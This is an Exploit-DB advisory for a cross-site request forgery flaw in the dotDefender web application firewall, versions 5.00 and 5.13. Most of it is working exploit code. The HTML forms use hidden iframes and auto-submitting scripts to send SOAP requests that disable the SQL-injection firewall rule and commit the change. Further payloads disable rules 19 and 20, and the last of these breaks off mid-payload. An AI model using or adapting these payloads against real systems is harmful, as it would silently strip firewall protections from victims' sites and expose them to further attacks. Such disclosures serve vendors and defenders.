Exploit-DB #39419
Description: dotDefender Firewall 5.00.12865/5.13-13282 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2016-02-08
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/DOT-DEFENDER-CSRF.txt


Vendor:
==================
www.applicure.com


Product:
=====================
dotDefender Firewall
Versions: 5.00.12865 / 5.13-13282


dotDefender is a Web application firewall (WAF) for preventing hacking
attacks like XSS, SQL Injections, CSRF etc...
that provides Apache and IIS Server Security across Dedicated, VPS and
Cloud environments. It meets PCI Compliance and also
provides E-Commerce Security, IIS and Apache Security, Cloud Security and
more.


Vulnerability Type:
=================================
Cross Site Request Forgery - CSRF


CVE Reference:
==============
N/A


Vulnerability Details:
=====================
Dotdefender firewall (WAF) is vulnerable to cross site request forgery,
this allows attackers to make HTTP requests via the victims browser to
the dotdefender management server on behalf of the victim if the victim is
logged in and visits a malicious web page or clicks an infected link.
Result can be modifying or disabling various firewall patterns,
User-Defined Rule settings and global event logging etc...


HTTP requests sent to Dotdefender to enable or disable user-Defined rule
settings are base64 encoded using SOAP protocol.
Sending the below base64 value for example disables a Dotdefender firewall
setting.

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>


Tested successfully on Windows & Linux:

dotDefender Version:          5.00.12865
Web Server Type:              Microsoft-IIS
Server Operating System:      Windows
Web Server Version:           7.5
Firefox web browser


dotDefender Version:     5.13-13282
Web Server Type:     Apache
Server Operating System:     Linux


Exploit code(s):
===============

Example to send requests to disable firewall rule settings that defends
against SQL injection.
We need to send two requests first to modify the desired settings and
second to commit our changes.


HTTP request 0x01 - send following soap request to disable SQL Injection
request firewall rule
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~

<IFRAME style="display:none" name="demonica"></IFRAME>

<form target="demonica" id="SACRIFICIAL" action="
http://localhost/dotDefender/dotDefenderWS.exe" ENCTYPE="text/plain"
 method="post" onsubmit="TORMENT()">
<input type="hidden" name='<soapenv:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:ZSI="http://www.zolera.com/schemas/ZSI/"
 xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
 xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <soapenv:Body xmlns:ns1="http://applicure.com/dotDefender">
 <ns1:set_xpath><site xsi:type="xsd:string">0</site>
 <xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=1]/enabled</xpath>
 <xml xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml>
 </ns1:set_xpath></soapenv:Body></soapenv:Envelope>'>
<script>document.getElementById('SACRIFICIAL').submit()</script>
</form>


HTTP request 0x02 - send the next request to commit the changes
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~

<form target="demonica" id="VICTIM" action="
http://localhost/dotDefender/dotDefenderWS.exe" ENCTYPE="text/plain"
 method="post">
<input type="hidden" name='<soapenv:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:ZSI="http://www.zolera.com/schemas/ZSI/"
 xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
 xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"><ns1:commit>
 <sites><element0 id="0" xsi:type="xsd:string">0</element0></sites>
 </ns1:commit></soapenv:Body></soapenv:Envelope>'>
<script>function
TORMENT(){document.getElementById('VICTIM').submit()}</script>
</form>



Other SOAP payload examples for rule disabling:
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=

this is disable a rule #19, send the below request to disable remote IP
protections:

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ZSI="
http://www.zolera.com/schemas/ZSI/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="
http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"><ns1:set_xpath><site
xsi:type="xsd:string">0</site>
<xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=19]/enabled</xpath>
<xml
xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml></ns1:set_xpath></soapenv:Body></soapenv:Envelope>


disable rule 20:
~=~=~=~=~=~=~=~=

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV="
http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><soapenv:Body
xmlns:ns1="http://applicure.com/dotDefender">
<ns1:set_xpath><site xsi:type="xsd:string">0</site><xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=20]/enabled</xpath>
<xml
xsi:type="xsd:base64